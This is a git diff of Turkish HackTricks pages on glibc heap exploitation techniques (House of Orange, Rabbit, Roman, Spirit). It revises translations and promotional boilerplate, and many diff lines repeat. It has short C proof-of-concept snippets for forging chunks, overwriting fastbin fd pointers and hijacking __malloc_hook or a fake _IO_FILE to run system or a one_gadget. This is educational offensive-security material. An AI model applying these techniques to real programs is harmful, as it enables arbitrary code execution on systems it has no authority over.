Küçük parça manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO\_list\_all** ile çakışma, sahte bir **\_IO\_FILE** yapısı oluşturmak için kullanılır. Yapı, libc'de iç kontrolleri geçen `_IO_write_base` ve `_IO_write_ptr` gibi ana alanları içerecek şekilde dikkatlice oluşturulur. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun (örneğin, `system` işlevinin) yürütülebileceği adres olarak ayarlanır.
Tekniğin geri kalanını özetlemek gerekirse:
- **Eski Üst Parçayı Küçült**: Eski üst parçanın boyutunu **0x61** olarak ayarlayın ve küçük bir parçaya sığacak şekilde ayarlayın.
- **Sahte `_IO_FILE` Yapısını Kur**: Eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturun ve akış kontrolünü ele geçirin.
* **Eski Üst Parçayı Küçült**: Eski üst parçanın boyutunu **0x61** olarak ayarlayarak küçültün.
* **Sahte `_IO_FILE` Yapısını Kur**: Eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturun ve akış kontrolünü ele geçirin.
Bir sonraki adım, şu anda sıralanmamış parçada bulunan eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturmaktır. Bu yapının ilk baytları dikkatlice oluşturulur ve yürütülecek bir komuta (örneğin, "/bin/sh") bir işaretçi içerir.
Sahte **\_IO_FILE** yapısındaki ana alanlar, `_IO_write_base` ve `_IO_write_ptr` gibi, libc'de iç kontrolleri geçen değerlere ayarlanır. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun çalıştırılabileceği adres olarak ayarlanır. Genellikle, bu, `system` fonksiyonunun adresi veya kabuk komutlarının çalıştırılabileceği başka bir fonksiyonun adresi olacaktır.
Sahte **\_IO_FILE** yapısındaki ana alanlar, `_IO_write_base` ve `_IO_write_ptr` gibi, libc'de iç kontrolleri geçen değerlere ayarlanır. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun yürütülebileceği adres olarak ayarlanır. Genellikle, bu, `system` işlevinin adresi veya kabuk komutlarının yürütülebileceği başka bir işlevin adresi olacaktır.
Saldırı, `malloc`'a yapılan bir çağrı, manipüle edilmiş **\_IO_FILE** yapısı üzerinden kodun yürütülmesini tetiklediğinde doruğa ulaşır. Bu, genellikle bir kabukun başlatılmasına veya başka kötü amaçlı bir yükün yürütülmesine neden olacak olan keyfi kod yürütülmesine izin verir.
Saldırı, `malloc`'ın bir çağrısı, manipüle edilmiş **\_IO\_FILE** yapısı üzerinden kodun yürütülmesini tetiklediğinde doruğa ulaşır. Bu, genellikle bir kabukun başlatılmasına veya başka kötü amaçlı bir yükün yürütülmesine neden olacak keyfi kod yürütülmesine izin verir.
**Saldırının Özeti:**
1. **Üst parçayı ayarlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin.
1. **Üst parçayı hazırlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin.
2. **Üst parçayı sıralanmamış parçaya zorla**: Daha büyük bir parça tahsis edin.
3. **Libc adreslerini sızdırın**: Zayıflıktan yararlanarak sıralanmamış parçadan okuyun.
4. **Sıralanmamış parça saldırısını gerçekleştirin**: Taşma kullanarak **\_IO_list_all**'a yazın.
5. **Eski üst parçayı küçült**: Küçük bir parçaya sığacak şekilde boyutunu ayarlayın.
4. **Sıralanmamış parça saldırısını gerçekleştirin**: Taşma kullanarak **\_IO\_list\_all**'a yazın.
5. **Eski üst parçayı küçültün**: Küçük bir parçaya sığacak şekilde boyutunu ayarlayın.
6. **Sahte \_IO\_FILE yapısını kurun**: Akış kontrolünü ele geçirmek için sahte bir dosya yapısı oluşturun.
7. **Kod yürütme tetikleyin**: Saldırıyı yürütmek ve keyfi kod çalıştırmak için bir parça tahsis edin.
7. **Kod yürütmesini tetikleyin**: Saldırıyı yürütmek ve keyfi kod çalıştırmak için bir parça tahsis edin.
Bu yaklaşım, `free` doğrudan çağrılmadan kod yürütme sağlamak için heap yönetimi mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını kötüye kullanır. Sahte **\_IO_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsisi işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesine olanak tanır ve genellikle bir kabuk veya diğer kötü amaçlı faaliyetlerin yürütülmesine neden olabilir.
Bu yaklaşım, `free` doğrudan çağrılmadan kod yürütme sağlamak için heap yönetimi mekanizmalarını, libc bilgi sızıntılarını ve heap taşmalarını kötüye kullanır. Sahte **\_IO\_FILE** yapısını dikkatlice oluşturarak ve doğru konuma yerleştirerek, saldırı standart bellek tahsis işlemleri sırasında kontrol akışını ele geçirebilir. Bu, keyfi kodun yürütülmesine olanak tanır ve genellikle bir kabuk veya diğer kötü amaçlı faaliyetlerin yürütülmesine neden olabilir.
## Referanslar
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) arasında
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Tavşan Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### Gereksinimler
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı binde bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, büyük bir parça tahsis ederek veya üst parçayı birleştirerek yapılabilir, bu da yığını parçaları birleştirmeye zorlar.
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.
### Hedefler
1. **Üst üste binen parçalar oluşturmak**: Başka bir parçayla örtüşen bir parça oluşturarak yığın manipülasyonlarına olanak tanımak.
2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yığın işlemleri sırasında meşru bir parça olarak algılamak için tahsildarı kandırmak.
1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.
## Saldırı Adımları
### POC 1: Hızlı bin parça boyutunu değiştirme
**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak.
**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.
* **Adım 1: Parçalar Tahsis Etme**
```cpp
@ -45,15 +46,15 @@ free(chunk2); // Frees the chunk at 0x602050
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
* **Adım 4: `malloc_consolidate`'i Tetikleyin**
* **Adım 4: `malloc_consolidate`'yi Tetikleyin**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur.
Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüme izin verir.
Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüye izin verir.
### POC 2: `fd` işaretçisini değiştir
### POC 2: `fd` işaretçisini değiştirme
**Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
@ -62,9 +63,9 @@ Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürü
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Açıklama**: Sahte parça için heap'i kurmak için daha küçük ve daha büyük olmak üzere iki parça tahsis ediyoruz.
**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
* **Adım 2: Sahte parça oluşturun**
* **Adım 2: Sahte blok oluştur**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
@ -86,10 +87,10 @@ chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk wit
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Bir büyük parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parçayı işler.
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir.
Sahte parça, fastbin listesinin bir parçası haline gelir, bu da onu daha fazla sömürü için geçerli bir parça haline getirir.
Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.
### Özet
**House of Rabbit** tekniği, ya bir fast bin parçasının boyutunu değiştirerek çakışan parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yasal parçaları heap'te oluşturmalarına olanak tanır ve çeşitli sömürü biçimlerini etkinleştirir. Bu adımları anlamak ve uygulamak, heap sömürü becerilerinizi geliştirecektir.
**House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.

View file

@ -1,22 +1,23 @@
# House of Roman
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ini öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud** github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
</details>
{% endhint %}
## Temel Bilgiler
Bu, sızıntısız RCE'ye izin veren çok ilginç bir teknikti, sahte fastbins, sıralanmamış\_bin saldırısı ve göreceli üzerine yazma yoluyla. Ancak [**yamalandı**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Bu, sızıntısız RCE'ye olanak tanıyan, sahte fastbins, sıralanmamış\_bin saldırısı ve göreceli üzerine yazma ile RCE sağlayan çok ilginç bir teknikti. Ancak [**yamalandı**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Kod
@ -33,7 +34,7 @@ Bu, sızıntısız RCE'ye izin veren çok ilginç bir teknikti, sahte fastbins,
## Saldırı Adımları
### Adım 1: Fastbin Chunk \_\_malloc\_hook'a işaret eder
### Adım 1: Fastbin Chunk, \_\_malloc\_hook'a işaret eder
Birkaç parça oluşturun:
@ -44,7 +45,7 @@ Birkaç parça oluşturun:
Ardından `main_arena_use` serbest bırakılır, bu parçayı sıralanmamış listeye yerleştirir ve hem `fd` hem de `bk` işaretçilerinde `main_arena + 0x68`'e bir işaretçi alır.
Şimdi `fd` ve `bk` işaretçilerinde `main_arena + 0x68`'e işaretçileri içereceği için yeni bir parça olan `fake_libc_chunk(0x60)` ayrılmıştır.
Şimdi `fd` ve `bk` işaretçilerinde `main_arena + 0x68`'e işaretçiler içereceği için yeni bir parça olan `fake_libc_chunk(0x60)` ayrılmıştır.
Ardından `relative_offset_heap` ve `fastbin_victim` serbest bırakılır.
```c
@ -61,19 +62,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
* `fastbin_victim`, `relative_offset_heap`'e işaret eden bir `fd`'ye sahiptir
* `relative_offset_heap`, `fake_libc_chunk`'tan uzaklık olarak bir ofset olup, `main_arena + 0x68`'i işaret eden bir işaretçi içerir
* `fastbin_victim.fd`'nin son baytını değiştirerek `fastbin_victim`'ı `main_arena + 0x68`'e işaret etmesi mümkündür
* `fastbin_victim` adlı bir `fd`, `relative_offset_heap`'e işaret ediyor
* `relative_offset_heap`, `fake_libc_chunk`'tan uzaklık olarak bir ofsete sahiptir ve bu da `main_arena + 0x68`'i işaret eden bir işaretçi içerir
* `fastbin_victim.fd`'nin son baytını değiştirerek `fastbin_victim`'ı `main_arena + 0x68`'i işaret edecek şekilde yapmak mümkündür
Önceki eylemler için saldırganın, `fastbin_victim`'ın `fd` işaretçisini değiştirebilme yeteneğine sahip olması gerekir.
Ardından, `main_arena + 0x68` çok ilginç değildir, bu yüzden işaretçinin **`__malloc_hook`**'a işaret etmesini sağlayacak şekilde değiştirelim.
Ardından, `main_arena + 0x68` çok ilginç değildir, bu yüzden işaretçinin **`__malloc_hook`**'u işaret etmesini sağlayacak şekilde değiştirelim.
`__memalign_hook` genellikle `0x7f` ile başlar ve ondan önce sıfırlar bulunur, bu nedenle `0x70` hızlı binde bir değer olarak sahteleyebilir. Çünkü adresin son 4 biti **rastgele** olduğundan, adresin istediğimiz yere işaret etmesi için `2^4=16` olasılık vardır. Bu nedenle, bir BF saldırısı gerçekleştirilir ve parça şu şekilde sonlanır: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
`__memalign_hook` genellikle `0x7f` ile başlar ve ondan önce sıfırlar bulunur, bu nedenle `0x70` hızlı binde bir değer olarak sahteleyebilir. Çünkü adresin son 4 biti **rastgele** olduğundan, adresin istediğimiz yere işaret etmesi için `2^4=16` olasılık vardır. Bu nedenle, bir BF saldırısı burada gerçekleştirilir, böylece parça şu şekilde sonlanır: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Geri kalan baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) örneğindeki açıklamaya bakın). BF çalışmazsa program çöker (bu yüzden çalışana kadar tekrar deneyin).
(Geri kalan baytlar hakkında daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) örneğindeki açıklamaya bakın). BF çalışmazsa program çöker (bu yüzden çalışana kadar tekrar başlayın).
Ardından, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç hızlı bin parçası kaldırılır ve üçüncüsü alınır **`__malloc_hook:`**'da bir parça elde etmek için.
Ardından, 2 malloc işlemi gerçekleştirilir ve 2 başlangıç hızlı bin parçası kaldırılır ve üçüncüsü, bir parçayı **`__malloc_hook:`**'ta almak için ayrılır.
```c
malloc(0x60);
malloc(0x60);
@ -81,7 +82,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Bölüm 2: Sıralanmamış\_bin saldırısı
Daha fazla bilgi için şuraya bakabilirsiniz:
Daha fazla bilgi için şu adrese bakabilirsiniz:
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
@ -98,10 +99,10 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Bu parçada bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret etmek için (daha önce bunu brute force ettik) kullanıyoruz.
Bu parçada bir UAF kullanarak `unsorted_bin_ptr->bk`'yi `__malloc_hook` adresine işaret etmek için kullanıyoruz (bu daha önce brute force ile yapıldı).
{% hint style="danger" %}
Bu saldırı, sıralanmamış bin'i bozar (bu nedenle küçük ve büyük de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir), bunu tetiklemek için **aynı boyutta tahsis yapmalıyız ya da program çöker.**
Bu saldırı, unsorted bin'i bozar (bu nedenle küçük ve büyük de). Bu nedenle şimdi sadece **hızlı binlerden tahsisleri kullanabiliriz** (daha karmaşık bir program başka tahsisler yapabilir ve çökebilir), bunu tetiklemek için **aynı boyutta tahsis yapmalıyız ya da program çöker.**
{% endhint %}
Bu nedenle, `__malloc_hook`'u `unsorted_bin_ptr->bk`'ye ayarladıktan sonra `main_arena + 0x68`'e yazmayı tetiklemek için sadece **`malloc(0x80)`** yapmamız gerekiyor.
@ -110,7 +111,7 @@ Bu nedenle, `__malloc_hook`'u `unsorted_bin_ptr->bk`'ye ayarladıktan sonra `mai
Adım birde `__malloc_hook` içeren bir parçayı kontrol etmeyi bitirdik (değişken `malloc_hook_chunk` içinde) ve ikinci adımda buraya `main_arena + 0x68` yazmayı başardık.
Şimdi, `malloc_hook_chunk` içindeki kısmi bir yazmayı kötüye kullanarak oraya yazdığımız libc adresini (`main_arena + 0x68`) kullanarak bir `one_gadget` adresine işaret ediyoruz.
Şimdi, `malloc_hook_chunk` içindeki kısmi bir yazmayı kötüye kullanarak oraya yazdığımız libc adresini (`main_arena + 0x68`) kullanarak bir `one_gadget` adresine işaret etmek için.
İşte burada **12 bitlik rastgeleliği brute force etmek gerekiyor** (daha fazla bilgi için [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) [örneğine](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c) bakın).
@ -122,16 +123,17 @@ Son olarak, doğru adres üzerine yazıldığında, **`malloc`'ı çağırın ve
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ruh Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
@ -69,7 +70,7 @@ return 0;
### Hedef
* Bir adresi tcache / fast bin'e ekleyebilmek ve daha sonra onu tahsis edebilmek
* Bir adresi tcache / hızlı bin'e ekleyebilmek ve daha sonra onu tahsis edebilmek
### Gereksinimler
@ -78,9 +79,9 @@ return 0;
### Saldırı
* Güvenlik kontrollerini atlatan sahte parçalar oluşturun: Temelde doğru pozisyonlarda doğru boyutları gösteren 2 sahte parçaya ihtiyacınız olacak
* İlk sahte parçayı serbest bırakmayı bir şekilde başarın, böylece hızlı veya tcache bin içine girer ve ardından o adresi üzerine yazmak için tahsis edilir
* İlk sahte parçayı serbest bırakacak şekilde bir şekilde yönetin, böylece hızlı veya tcache bin'e girer ve ardından o adresi üzerine yazacak şekilde tahsis edilir
**Koddan** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **gelen kod saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması saldırıyı oldukça iyi özetliyor:
